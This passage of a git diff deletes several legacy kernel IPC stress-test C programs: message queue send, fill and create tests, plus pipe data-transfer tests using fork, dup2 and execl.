- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-/*---------------------------------------------------------------------+
-|                     message_queue_test_02_snd                        |
-| ==================================================================== |
-|                                                                      |
-| Description:  Create a message queue to send messages between two    |
-|               processes.                                             |
-|                                                                      |
-| Algorithm:    o  Generate a key value given the project name and id  |
-|                                                                      |
-|               o  Get a unique message queue id                       |
-|                                                                      |
-|               o  Print out message queue id                          |
-|                                                                      |
-| System calls: The following system calls are made                    |
-|                                                                      |
-|               o  ftok () - generates a standard IPC key              |
-|               o  msgget () - gets a message queue identifier         |
-|                                                                      |
-| Usage:        message_queue_test_02_snd [-f file] [-i id]            |
-|                                         [-m msg | -b bytes]          |
-|                                                                      |
-| To compile:   cc -o message_queue_test_02_snd \                      |
-|                     message_queue_test_02_snd.c                      |
-|                                                                      |
-| Last update:   Ver. 1.2, 2/26/94 14:03:51                           |
-|                                                                      |
-| Change Activity                                                      |
-|                                                                      |
-|   Version  Date    Name  Reason                                      |
-|    0.1     032789  CST   Initial version                             |
-|    1.2     111993  DJK   Modify for AIX version 4.1                  |
-|    1.3     022694  DJK   Moved to Prod directory                     |
-|                                                                      |
-+---------------------------------------------------------------------*/
-
-#include <errno.h>
-#include <fcntl.h>
-#include <stdio.h>
-#include <unistd.h>
-#include <sys/ipc.h>
-#ifdef _LINUX_
-#include <sys/stat.h>
-// defines struct msgbuf
-#define __USE_GNU
-#endif
-#include <sys/msg.h>
-#include <sys/types.h>
-#include <string.h>
-#include <stdlib.h>
-
-/*
- * Defines
- *
- * BUF_SIZE: size of message buffer...
- */
-#define BUF_SIZE		256
-#define DEFAULT_MESSAGE 	"<< Message Queue test default message >>"
-//#define DEFAULT_MESSAGE       ""
-#define DEFAULT_PROJECT_NAME 	"/tmp/message_queue_test"
-#define DEFAULT_PROJECT_ID	20
-#define USAGE	"\nUsage: %s [-f project_name ] [-i project_id ] \n" \
-	        "          {-m msg | -b bytes} \n\n"
-
-/*
- * Function prototypes
- *
- * parse_args (): Parse command line arguments
- * sys_error (): System error message function
- * error (): Error message function
- */
-static void parse_args(int, char **);
-static void sys_error(const char *, int);
-static void error(const char *, int);
-
-/*
- * Global variables
- *
- * message:	 Message to store in queue
- * project_name: Unique path used to create key (ftok)
- * project_id:   Unique number used to create key (ftok)
- */
-size_t bytes = 0;
-char *message = DEFAULT_MESSAGE;
-char *project_name = DEFAULT_PROJECT_NAME;
-char project_id = DEFAULT_PROJECT_ID;
-
-/*---------------------------------------------------------------------+
-|                               main                                   |
-| ==================================================================== |
-|                                                                      |
-| Function:  Main program  (see prolog for more details)               |
-|                                                                      |
-| Returns:   (0)  Successful completion                                |
-|            (-1) Error occurred                                       |
-|                                                                      |
-+---------------------------------------------------------------------*/
-int main(int argc, char **argv)
-{
-	struct msgbuf *buf;	/* Message buffer */
-	key_t key;		/* Unique key */
-	int msqid;		/* Message queue identifier */
-	size_t size;		/* Size of message buffer */
-
-	/*
-	 * Parse command line options
-	 */
-	parse_args(argc, argv);
-
-	if ((key = ftok(project_name, project_id)) < 0)
-		sys_error("ftok failed", __LINE__);
-
-	if ((msqid = msgget(key, S_IRUSR | S_IWUSR)) < 0)
-		sys_error("msgget failed", __LINE__);
-
-	if (bytes) {
-		buf = (struct msgbuf *)calloc(bytes + sizeof(struct msgbuf),
-					      sizeof(char));
-		buf->mtype = 1L;
-
-		if (msgsnd(msqid, buf, bytes, 0) < 0)
-			sys_error("msgsnd failed", __LINE__);
-
-		free(buf);
-
-	} else {
-		size = strlen(message) + 1;
-		buf = (struct msgbuf *)calloc(size + sizeof(struct msgbuf),
-					      sizeof(char));
-
-		buf->mtype = 1L;
-		strcpy(buf->mtext, message);
-
-		if (msgsnd(msqid, buf, size, 0) < 0)
-			sys_error("msgsnd failed", __LINE__);
-
-		free(buf);
-	}
-
-	return (0);
-}
-
-/*---------------------------------------------------------------------+
-|                             parse_args ()                            |
-| ==================================================================== |
-|                                                                      |
-| Function:  Parse the command line arguments & initialize global      |
-|            variables.                                                |
-|                                                                      |
-| Updates:   (command line options)                                    |
-|                                                                      |
-|            [-f] file:  project file                                  |
-|                                                                      |
-|            [-i] num:   project id                                    |
-|                                                                      |
-|            [-m] msg:   message to transmit                           |
-|                                                                      |
-|            [-b] byes:  number of bytes to send                       |
-|                                                                      |
-+---------------------------------------------------------------------*/
-static void parse_args(int argc, char **argv)
-{
-	int opt;
-	int errflag = 0;
-	char *program_name = *argv;
-	extern char *optarg;	/* Command line option */
-
-	/*
-	 * Parse command line options.
-	 */
-	while ((opt = getopt(argc, argv, "b:m:f:i:")) != EOF) {
-		switch (opt) {
-		case 'b':	/* number of bytes to send */
-			bytes = atoi(optarg);
-			break;
-		case 'm':	/* message to send */
-			message = optarg;
-			break;
-		case 'f':	/* project file */
-			project_name = optarg;
-			break;
-		case 'i':	/* project id */
-			project_id = *optarg;
-			break;
-		default:
-			errflag++;
-			break;
-		}
-	}
-	if (errflag) {
-		fprintf(stderr, USAGE, program_name);
-		exit(2);
-	}
-}
-
-/*---------------------------------------------------------------------+
-|                             sys_error ()                             |
-| ==================================================================== |
-|                                                                      |
-| Function:  Creates system error message and calls error ()           |
-|                                                                      |
-+---------------------------------------------------------------------*/
-static void sys_error(const char *msg, int line)
-{
-	char syserr_msg[256];
-
-	sprintf(syserr_msg, "%s: %s\n", msg, strerror(errno));
-	error(syserr_msg, line);
-}
-
-/*---------------------------------------------------------------------+
-|                               error ()                               |
-| ==================================================================== |
-|                                                                      |
-| Function:  Prints out message and exits...                           |
-|                                                                      |
-+---------------------------------------------------------------------*/
-static void error(const char *msg, int line)
-{
-	fprintf(stderr, "ERROR [line: %d] %s\n", line, msg);
-	exit(-1);
-}
diff --git a/testcases/kernel/ipc/ipc_stress/message_queue_test_04.c b/testcases/kernel/ipc/ipc_stress/message_queue_test_04.c
deleted file mode 100644
index 9f511a7..0000000
--- a/testcases/kernel/ipc/ipc_stress/message_queue_test_04.c
+++ /dev/null
@@ -1,295 +0,0 @@
-/*
- *   Copyright (C) Bull S.A. 1996
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-/*---------------------------------------------------------------------+
-|                        message_queue_test_04                         |
-| ==================================================================== |
-|                                                                      |
-| Description:  Create a message queue to send messages between two    |
-|               processes.                                             |
-|                                                                      |
-| Algorithm:    o  Generate a key value given the project name and id  |
-|                                                                      |
-|               o  Get a unique message queue id                       |
-|                                                                      |
-|               o  Print out message queue id                          |
-|                                                                      |
-| System calls: The following system calls are made                    |
-|                                                                      |
-|               o  msgget () - gets a message queue identifier         |
-|                                                                      |
-| Usage:        message_queue_test_04 [-v] [-l logfile ]               |
-|                                                                      |
-| To compile:   cc -o message_queue_test_04 message_queue_test_04.c    |
-|                                                                      |
-| Last update:   Ver. 1.2, 2/26/94 14:03:55                           |
-|                                                                      |
-| Change Activity                                                      |
-|                                                                      |
-|   Version  Date    Name  Reason                                      |
-|    0.1     111993  DJK   Initial version for AIX 4.1                 |
-|    1.2     022694  DJK   Moved to Prod directory                     |
-|                                                                      |
-+---------------------------------------------------------------------*/
-
-#include <errno.h>
-#include <fcntl.h>
-#include <stdio.h>
-#include <string.h>
-#include <unistd.h>
-#include <sys/ipc.h>
-#ifdef _LINUX_
-// defines struct msgbuf
-#define __USE_GNU
-#endif
-#include <sys/msg.h>
-#include <sys/types.h>
-#include <stdlib.h>
-
-/*
- * Defines
- *
- * MAX_MSGS: maximum number of messages per queue (8192)
- */
-#define DEFAULT_PROJECT_NAME 	"/tmp/message_queue_test"
-#define DEFAULT_PROJECT_ID	20
-#define MAX_MSGS		8192
-#define USAGE	"\nUsage: %s [-v] [-l logfile ]\n\n"
-
-/*
- * Function prototypes
- *
- * parse_args (): Parse command line arguments
- * sys_error (): System error message function
- * error (): Error message function
- */
-static void parse_args(int, char **);
-static void sys_error(const char *, int);
-static void error(const char *, int);
-
-/*
- * Global variables
- *
- * log_filename: Name of log file
- */
-int verbose = 0;
-int logit = 0;
-FILE *logfile;
-char *log_filename = NULL;
-
-/*---------------------------------------------------------------------+
-|                               main                                   |
-| ==================================================================== |
-|                                                                      |
-| Function:  Main program  (see prolog for more details)               |
-|                                                                      |
-| Returns:   (0)  Successful completion                                |
-|            (-1) Error occurred                                       |
-|                                                                      |
-+---------------------------------------------------------------------*/
-int main(int argc, char **argv)
-{
-	struct msqid_ds info;	/* Message queue info */
-	struct msgbuf buf;	/* Message queue buffer */
-	int mode = 0777;	/* Default mode bits */
-	int msqid;		/* Message queue identifier */
-	size_t max_bytes;	/* Num bytes sent to message queue */
-	size_t msg_size;	/* Num bytes sent to message queue */
-	unsigned long bytes_sent;	/* Num bytes sent to message queue */
-
-	/*
-	 * Parse command line options
-	 */
-	parse_args(argc, argv);
-	if (logit) {
-		if ((logfile = fopen(log_filename, "w")) == NULL)
-			sys_error("msgget failed", __LINE__);
-	}
-
-	/*
-	 * Print out program header
-	 */
-	printf("%s: IPC Message Queue TestSuite program\n\n", *argv);
-	if (logit)
-		fprintf(logfile, "%s: IPC Message Queue TestSuite program\n\n",
-			*argv);
-
-	/*
-	 * Obtain a unique message queue identifier using msgget()
-	 */
-	if ((msqid = msgget(IPC_PRIVATE, IPC_CREAT | mode)) < 0)
-		sys_error("msgget failed", __LINE__);
-
-	if (verbose)
-		printf("\tCreated message queue: %d\n\n", msqid);
-	if (logit)
-		fprintf(logfile, "\tCreated message queue: %d\n\n", msqid);
-
-	/*
-	 * Determine message queue limits
-	 *
-	 * Determine the maximum number of bytes that the message
-	 * queue will hold.  Then determine the message size
-	 * (Max num of bytes per queue / maximum num of messages per queue)
-	 */
-	if (msgctl(msqid, IPC_STAT, &info) < 0)
-		sys_error("msgctl (IPC_STAT) failed", __LINE__);
-
-	max_bytes = info.msg_qbytes;
-
-	/*
-	 * this has been changed because of defect 227707 related to floating point
-	 * problem, but here is not the right place to test floating point...
-	 * msg_size  = (size_t) (0.5 + ((float) max_bytes / MAX_MSGS));
-	 */
-	msg_size = (size_t) ((max_bytes + MAX_MSGS - 1) / MAX_MSGS);
-
-	if (verbose) {
-		printf("\tMax num of bytes per queue:  %ld\n", (long)max_bytes);
-		printf("\tMax messages per queue:      %d\n", MAX_MSGS);
-		printf("\tCorresponding message size:  %ld\n\n",
-		       (long)msg_size);
-	}
-	if (logit) {
-		fprintf(logfile, "\tMax num of bytes per queue:  %ld\n",
-			(long)max_bytes);
-		fprintf(logfile, "\tMax messages per queue:      %d\n",
-			MAX_MSGS);
-		fprintf(logfile, "\tCorresponding message size:  %ld\n\n",
-			(long)msg_size);
-	}
-
-	/*
-	 * Fill up the message queue
-	 *
-	 * Send bytes to the message queue until it fills up
-	 */
-	//      buf = (struct msgbuf *) calloc (msg_size + sizeof(struct msgbuf), sizeof (char));
-
-	buf.mtype = 1L;
-
-	bytes_sent = 0;
-	while (bytes_sent < max_bytes - msg_size) {
-		if (msgsnd(msqid, &buf, msg_size, 0) < 0)
-			sys_error("msgsnd failed", __LINE__);
-		bytes_sent += msg_size;
-		//usleep(5000);
-		if (verbose) {
-			printf("\r\tBytes sent: %ld", (long)bytes_sent);
-			fflush(stdout);
-		}
-	}
-	if (verbose)
-		puts("\n");
-	if (logit)
-		fprintf(logfile, "\tBytes sent: %ld\n", (long)bytes_sent);
-	//free (buf);
-
-	/*
-	 * Remove the message queue
-	 */
-	if (msgctl(msqid, IPC_RMID, 0) < 0)
-		sys_error("msgctl (IPC_RMID) failed", __LINE__);
-	if (verbose)
-		printf("\n\tRemoved message queue: %d\n", msqid);
-	if (logit)
-		fprintf(logfile, "\n\tRemoved message queue: %d\n", msqid);
-
-	/* Program completed successfully -- exit */
-	printf("\nsuccessful!\n");
-	if (logit) {
-		fprintf(logfile, "\nsuccessful!\n");
-		fclose(logfile);
-	}
-
-	return (0);
-}
-
-/*---------------------------------------------------------------------+
-|                             parse_args ()                            |
-| ==================================================================== |
-|                                                                      |
-| Function:  Parse the command line arguments & initialize global      |
-|            variables.                                                |
-|                                                                      |
-| Updates:   (command line options)                                    |
-|                                                                      |
-|            [-v] verbose                                              |
-|                                                                      |
-|            [-l] logfile: log file name                               |
-|                                                                      |
-+---------------------------------------------------------------------*/
-static void parse_args(int argc, char **argv)
-{
-	int opt;
-	int errflag = 0;
-	char *program_name = *argv;
-	extern char *optarg;	/* Command line option */
-
-	/*
-	 * Parse command line options.
-	 */
-	while ((opt = getopt(argc, argv, "vl:")) != EOF) {
-		switch (opt) {
-		case 'v':	/* verbose */
-			verbose++;
-			break;
-		case 'l':	/* log file */
-			logit++;
-			log_filename = optarg;
-			break;
-		default:
-			errflag++;
-			break;
-		}
-	}
-	if (errflag) {
-		fprintf(stderr, USAGE, program_name);
-		exit(2);
-	}
-}
-
-/*---------------------------------------------------------------------+
-|                             sys_error ()                             |
-| ==================================================================== |
-|                                                                      |
-| Function:  Creates system error message and calls error ()           |
-|                                                                      |
-+---------------------------------------------------------------------*/
-static void sys_error(const char *msg, int line)
-{
-	char syserr_msg[256];
-
-	sprintf(syserr_msg, "%s: %s\n", msg, strerror(errno));
-	error(syserr_msg, line);
-}
-
-/*---------------------------------------------------------------------+
-|                               error ()                               |
-| ==================================================================== |
-|                                                                      |
-| Function:  Prints out message and exits...                           |
-|                                                                      |
-+---------------------------------------------------------------------*/
-static void error(const char *msg, int line)
-{
-	fprintf(stderr, "ERROR [line: %d] %s\n", line, msg);
-	if (logit)
-		fprintf(logfile, "ERROR [line: %d] %s\n", line, msg);
-	exit(-1);
-}
diff --git a/testcases/kernel/ipc/ipc_stress/message_queue_test_05.c b/testcases/kernel/ipc/ipc_stress/message_queue_test_05.c
deleted file mode 100644
index e475b48..0000000
--- a/testcases/kernel/ipc/ipc_stress/message_queue_test_05.c
+++ /dev/null
@@ -1,260 +0,0 @@
-/*
- *   Copyright (C) Bull S.A. 1996
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-/*---------------------------------------------------------------------+
-|                       message_queue_test_05                          |
-| ==================================================================== |
-|                                                                      |
-| Description:  Creates N message queues.  Creates three and deletes   |
-|               one until N is reached.                                |
-|                                                                      |
-| Algorithm:    o  Loop until N message queues have been created       |
-|                  - Create three message queues                       |
-|                  - Delete one message queue                          |
-|                                                                      |
-|               o  Delete all of the message queues                    |
-|                                                                      |
-| System calls: The following system calls are made                    |
-|                                                                      |
-|               o  msgctl () - provides message control operations     |
-|               o  msgget () - gets a message queue identifier         |
-|                                                                      |
-| Usage:        message_queue_test_05 [-n num_queues] [-d]             |
-|                                                                      |
-|               where: [-n] number of message queues to create         |
-|                      [-d] debug option                               |
-|                                                                      |
-| To compile:   cc -o message_queue_test_05 message_queue_test_05.     |
-|                                                                      |
-| Last update:   Ver. 1.2, 2/26/94 14:10:17                           |
-|                                                                      |
-| Change Activity                                                      |
-|                                                                      |
-|   Version  Date    Name  Reason                                      |
-|    0.1     032789  CTU   Initial version                             |
-|    1.2     111993  DJK   Modify for AIX version 4.1                  |
-|    1.3     022694  DJK   Moved to Prod directory                     |
-|                                                                      |
-+---------------------------------------------------------------------*/
-
-#include <errno.h>
-#include <fcntl.h>
-#include <signal.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <unistd.h>
-#include <sys/ipc.h>
-#ifdef _LINUX_
-// defines struct msgbuf
-#define __USE_GNU
-#endif
-#include <sys/msg.h>
-#include <sys/types.h>
-
-/*
- * Defines
- *
- * MAX_MESSAGE_QUEUES: maximum number of message queues to create
- *
- * DEFAULT_MESSAGE_QUEUES: default number of message queues to create
- * unless specified with [-n] command line option
- *
- * USAGE: usage statement macro
- */
-
-#ifdef _LINUX_
-#define	MAX_MESSAGE_QUEUES 128
-#define	DEFAULT_MESSAGE_QUEUES 10
-#else
-#define	MAX_MESSAGE_QUEUES 4096
-#define	DEFAULT_MESSAGE_QUEUES 1000
-#endif
-
-#define USAGE	"\nUsage: %s [-n num_message_queues] [-d]\n\n"
-
-/*
- * Function prototypes
- *
- * parse_args (): Parse command line arguments
- * sys_error (): System error message function
- * error (): Error message function
- * cleanup (): Cleanup function for the test
- */
-static void parse_args(int, char **);
-static void sys_error(const char *, int);
-static void error(const char *, int);
-static void cleanup(int qnum);
-/*
- * Global variables
- *
- * max_queues: maximum number of message queues allowed (system limit)
- * msqid_array: array containing the unique message queue identifiers
- * debug: debugging flag, set with [-d] command line option
- */
-int max_queues = DEFAULT_MESSAGE_QUEUES;
-int msqid_array[MAX_MESSAGE_QUEUES];
-int debug = 0;
-
-/*---------------------------------------------------------------------+
-|                               main                                   |
-| ==================================================================== |
-|                                                                      |
-| Function:  Main program  (see prolog for more details)               |
-|                                                                      |
-| Returns:   (0)  Successful completion                                |
-|            (-1) Error occurred                                       |
-|                                                                      |
-+---------------------------------------------------------------------*/
-int main(int argc, char **argv)
-{
-	int nqueues = 0;	/* Current number of message queues */
-	int i;			/* Loop index */
-	int mode = 0777;	/* Misc mode bits */
-
-	/*
-	 * Parse command line arguments and print out program header
-	 */
-	parse_args(argc, argv);
-	printf("%s: IPC Message Queue TestSuite program\n", *argv);
-
-	printf("\n\tCreating %d message queues ...\n", max_queues);
-	while (nqueues < max_queues) {
-
-		for (i = 0; i < 3; i++) {
-			if (debug)
-				printf("\tcreating queue [%d]\n", nqueues);
-			if ((msqid_array[nqueues++]
-			     = msgget(IPC_PRIVATE, IPC_CREAT | mode)) < 0) {
-				cleanup(nqueues);
-				sys_error("msgget failed", __LINE__);
-			}
-
-			if (nqueues > MAX_MESSAGE_QUEUES)
-				break;
-		}
-
-		/*
-		 * Delete the last message queue...
-		 */
-		if (msgctl(msqid_array[--nqueues], IPC_RMID, 0) < 0)
-			sys_error("msgctl (IPC_RMID) failed", __LINE__);
-		if (debug)
-			printf("\tremoved queue  [%d]\n", nqueues);
-	}
-	printf("\n\tAll message queues created successfully\n");
-
-	cleanup(nqueues);
-	printf("\nsuccessful!\n");
-	return (0);
-}
-
-/*---------------------------------------------------------------------+
-|                             parse_args ()                            |
-| ==================================================================== |
-|                                                                      |
-| Function:  Parse the command line arguments & initialize global      |
-|            variables.                                                |
-|                                                                      |
-| Updates:   (command line options)                                    |
-|                                                                      |
-|            [-n] num:   number of message queues to create            |
-|                                                                      |
-+---------------------------------------------------------------------*/
-static void parse_args(int argc, char **argv)
-{
-	int opt;
-	int errflag = 0;
-	char *program_name = *argv;
-	extern char *optarg;	/* Command line option */
-
-	/*
-	 * Parse command line options.
-	 */
-	while ((opt = getopt(argc, argv, "n:d")) != EOF) {
-		switch (opt) {
-		case 'n':	/* number of queues to create */
-			max_queues = atoi(optarg);
-			break;
-		case 'd':	/* debug */
-			debug++;
-			break;
-		default:
-			errflag++;
-			break;
-		}
-	}
-	if (max_queues > MAX_MESSAGE_QUEUES)
-		errflag++;
-
-	if (errflag) {
-		fprintf(stderr, USAGE, program_name);
-		exit(2);
-	}
-}
-
-/*---------------------------------------------------------------------+
-|                             sys_error ()                             |
-| ==================================================================== |
-|                                                                      |
-| Function:  Creates system error message and calls error ()           |
-|                                                                      |
-+---------------------------------------------------------------------*/
-static void sys_error(const char *msg, int line)
-{
-	char syserr_msg[256];
-
-	sprintf(syserr_msg, "%s: %s\n", msg, strerror(errno));
-	error(syserr_msg, line);
-}
-
-/*---------------------------------------------------------------------+
-|                               error ()                               |
-| ==================================================================== |
-|                                                                      |
-| Function:  Prints out message and exits...                           |
-|                                                                      |
-+---------------------------------------------------------------------*/
-static void error(const char *msg, int line)
-{
-	fprintf(stderr, "ERROR [line: %d] %s\n", line, msg);
-	exit(-1);
-}
-
-/*---------------------------------------------------------------------+
-|                              cleanup()                               |
-| ==================================================================== |
-| cleanup() - performs all message queues cleanup for this test at     |
-|             completion or premature exit.                            |
-|             Remove the temporary message queues created.             |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void cleanup(int qnum)
-{
-	/*
-	 *  Remove the allocated message queues.
-	 */
-	while (qnum > 0) {
-		if (msqid_array[--qnum] < 0)
-			continue;
-		if (msgctl(msqid_array[qnum], IPC_RMID, 0) < 0)
-			sys_error("msgctl (IPC_RMID) failed", __LINE__);
-		if (debug)
-			printf("\tremoved queue  [%d]\n", qnum);
-	}
-}
diff --git a/testcases/kernel/ipc/ipc_stress/pipe_test_01.c b/testcases/kernel/ipc/ipc_stress/pipe_test_01.c
deleted file mode 100644
index 56b57f6..0000000
--- a/testcases/kernel/ipc/ipc_stress/pipe_test_01.c
+++ /dev/null
@@ -1,235 +0,0 @@
-/*
- *   Copyright (C) Bull S.A. 1996
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-/*---------------------------------------------------------------------+
-|                            pipe_test_01                              |
-| ==================================================================== |
-|                                                                      |
-| Description:  Simplistic test to verify the pipe system function     |
-|               calls                                                  |
-|                                                                      |
-| Algorithm:    o  Create a pipe                                       |
-|               o  Spawn a child process & exec cat on a file.         |
-|                  Redirect the command output to the write end of the |
-|                  pipe.                                               |
-|               o  Spawn another child, redirect the read end of the   |
-|                  pipe to stdin & exec wc.                            |
-|                                                                      |
-|               Equivalent to following shell command:                 |
-|                  cat /etc/rc | wc -c                                 |
-|                                                                      |
-| System calls: The following system calls are tested:                 |
-|                                                                      |
-|               pipe () - Creates an interprocess channel              |
-|               fork () - Creates a new process                        |
-|               dup2 () - Controls open file descriptors               |
-|               execl () - Executes a file                             |
-|               waitpid () - Waits for a child process to stop or      |
-|                            terminate                                 |
-|                                                                      |
-| Usage:        pipe_test_01                                           |
-|                                                                      |
-| To compile:   cc -o pipe_test_01 pipe_test_01.c                      |
-|                                                                      |
-| Last update:   Ver. 1.2, 2/13/94 22:42:00                           |
-|                                                                      |
-| Change Activity                                                      |
-|                                                                      |
-|   Version  Date    Name  Reason                                      |
-|    0.1     032289  CTU   Initial version                             |
-|    0.2     010393  DJK   Rewrite for AIX version 4.1                 |
-|    1.2     021394  DJK   Move to prod directory                      |
-|                                                                      |
-+---------------------------------------------------------------------*/
-
-#include <unistd.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <errno.h>
-#include <signal.h>
-#include <sys/wait.h>
-
-/* Function prototypes */
-void sys_error(const char *, int);	/* System error message function */
-void error(const char *, int);	/* Error message function */
-void setup_handler();		/* Sets up signal catching function */
-void handler(int, int, struct sigcontext *);	/* Signal catching function */
-
-/*---------------------------------------------------------------------+
-|                               main ()                                |
-| ==================================================================== |
-|                                                                      |
-| Function:  Main program  (see prolog for more details)               |
-|                                                                      |
-+---------------------------------------------------------------------*/
-int main(int argc, char **argv)
-{
-	int pid[2];		/* Child process ids */
-	int fd[2];		/* Pipe file descriptors */
-	int status;		/* Child's exit status */
-
-	enum { READ, WRITE };	/* Constants */
-	enum { childA, childB };
-
-	/*
-	 * Setup signal catching function for SIGPIPE in case an
-	 * error occurs
-	 */
-	setup_handler();
-
-	/*
-	 * Create a Pipe for data transfer between the two child
-	 * processes.
-	 */
-	if (pipe(fd) < 0)
-		sys_error("pipe failed", __LINE__);
-
-	/*
-	 * Create child process, run command and write info into pipe.
-	 *
-	 * Close the read end of the pipe and dup the stdout to the write
-	 * end of the pipe, so the the output of the exec'd command will
-	 * be written into the pipe.  Then exec the cat command.
-	 */
-	if ((pid[childA] = fork()) < 0)
-		sys_error("fork failed", __LINE__);
-
-	if (pid[childA] == 0) {
-		/* Child process */
-
-		close(fd[READ]);
-
-		/* Redirect STDOUT to fd [WRITE] */
-		if (fd[WRITE] != STDOUT_FILENO) {
-			if (dup2(fd[WRITE], STDOUT_FILENO) != STDOUT_FILENO)
-				sys_error("dup2 failed", __LINE__);
-		}
-		close(fd[WRITE]);
-
-/* Vernon Mauery 6/1/2001 changed path and file to work will more flavors of unix */
-		execl("/bin/cat", "cat", "/etc/inittab", NULL);
-		sys_error("execl failed (should not reach this line) ",
-			  __LINE__);
-	}
-
-	/*
-	 * Create another child process and run command on data passed though
-	 * the pipe.
-	 *
-	 * Close the write end of the pipe and dup the read end of the pipe
-	 * to stdin, so that the input of the exec'd command will come
-	 * from the pipe.  Then exec the wc command.
-	 */
-	if ((pid[childB] = fork()) < 0)
-		sys_error("fork failed", __LINE__);
-
-	if (pid[childB] == 0) {
-		/* Child process */
-		close(fd[WRITE]);
-
-		if (fd[READ] != STDIN_FILENO) {
-			if (dup2(fd[READ], STDIN_FILENO) != STDIN_FILENO)
-				sys_error("dup2 failed", __LINE__);
-		}
-		close(fd[READ]);
-
-		execl("/usr/bin/wc", "wc", "-c", NULL);
-		sys_error("execl failed (should not reach this line) ",
-			  __LINE__);
-	}
-
-	/*
-	 * Close both ends of the pipe and wait for the child processes
-	 * to complete.
-	 */
-	close(fd[READ]);
-	close(fd[WRITE]);
-
-	waitpid(pid[childA], &status, 0);
-	if (!WIFEXITED(status))
-		sys_error("child process A terminated abnormally", __LINE__);
-
-	waitpid(pid[childB], &status, 0);
-	if (!WIFEXITED(status))
-		sys_error("child process B terminated abnormally", __LINE__);
-
-	/* Program completed successfully -- exit */
-	return (0);
-}
-
-/*---------------------------------------------------------------------+
-|                          setup_handler ()                            |
-| ==================================================================== |
-|                                                                      |
-| Function:  Setup the signal handler for SIGPIPE.                     |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void setup_handler()
-{
-	struct sigaction invec;
-
-	invec.sa_handler = (void (*)(int))handler;
-	sigemptyset(&invec.sa_mask);
-	invec.sa_flags = 0;
-
-	if (sigaction(SIGPIPE, &invec, NULL) < 0)
-		sys_error("sigaction failed", __LINE__);
-}
-
-/*---------------------------------------------------------------------+
-|                             handler ()                               |
-| ==================================================================== |
-|                                                                      |
-| Function:  Signal catching function for SIGPIPE signal.              |
-|                                                                      |
-| Returns:   Aborts program & prints message upon receiving signal.    |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void handler(int sig, int code, struct sigcontext *scp)
-{
-	error("wrote to pipe with closed read end", __LINE__);
-}
-
-/*---------------------------------------------------------------------+
-|                             sys_error ()                             |
-| ==================================================================== |
-|                                                                      |
-| Function:  Creates system error message and calls error ()           |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void sys_error(const char *msg, int line)
-{
-	char syserr_msg[256];
-
-	sprintf(syserr_msg, "%s: %s\n", msg, strerror(errno));
-	error(syserr_msg, line);
-}
-
-/*---------------------------------------------------------------------+
-|                               error ()                               |
-| ==================================================================== |
-|                                                                      |
-| Function:  Prints out message and exits...                           |
-|                                                                      |
-+---------------------------------------------------------------------*/
-void error(const char *msg, int line)
-{
-	fprintf(stderr, "ERROR [line: %d] %s\n", line, msg);
-	exit(-1);
-}
diff --git a/testcases/kernel/ipc/ipc_stress/pipe_test_02.c b/testcases/kernel/ipc/ipc_stress/pipe_test_02.c
deleted file mode 100644
index b98ee85..0000000
--- a/testcases/kernel/ipc/ipc_stress/pipe_test_02.c
+++ /dev/null
@@ -1,682 +0,0 @@
-/*
- *   Copyright (C) Bull S.A. 1996
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-/*---------------------------------------------------------------------+
-|                            pipe_test_02                              |
-| ==================================================================== |
-|                                                                      |
-| Description:  Max data transfer through pipe interprocess channel    |
-|               in non-blocking mode                                   |
-|                                                                      |
-| Algorithm:    o  Create a pipe                                       |
-|               o  Make write & read end of pipe non-blocking          |
-|               o  Spawn a child process                               |
-|               o  parent:                                             |
-|                  -  create & send data packets to the child          |
-|                  -  compute checksum on sent packets                 |
-|               o  child:                                              |
-|                  -  recieve packets from parent & compute checksum   |
